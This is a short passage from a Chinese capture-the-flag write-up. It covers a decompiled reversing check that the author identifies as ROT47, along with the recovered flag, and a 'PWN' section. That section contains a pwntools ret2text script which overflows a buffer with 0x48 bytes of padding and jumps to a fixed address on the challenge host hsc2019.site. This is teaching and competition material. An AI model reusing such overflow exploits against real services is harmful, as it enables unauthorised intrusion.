if (*(char *)((longlong)&local_res7d7 + (longlong)local_res7d3) !=
*(char *)((longlong)&local_res7e7 + (longlong)local_res7d3)) {
puts("incorrect\n");
goto LAB_001008a0;
}
local_res7d3 = local_res7d3 + 1;
} while( true );
}

逻辑为输入flag值逐字符 -0x2f 得到的字符串与 0x37463f30444132433429 相等,即ROT47。

简单还原得flag:flag{fun_sparcX}

PWN

Ez_pwn

简单ret2text:

1
2
3
4
5
6
from pwn import *
r = remote('hsc2019.site',10891)
r.recvline()
pl = 'a'*0x48 + p64(0x400741)
r.sendline(pl)
r.interactive()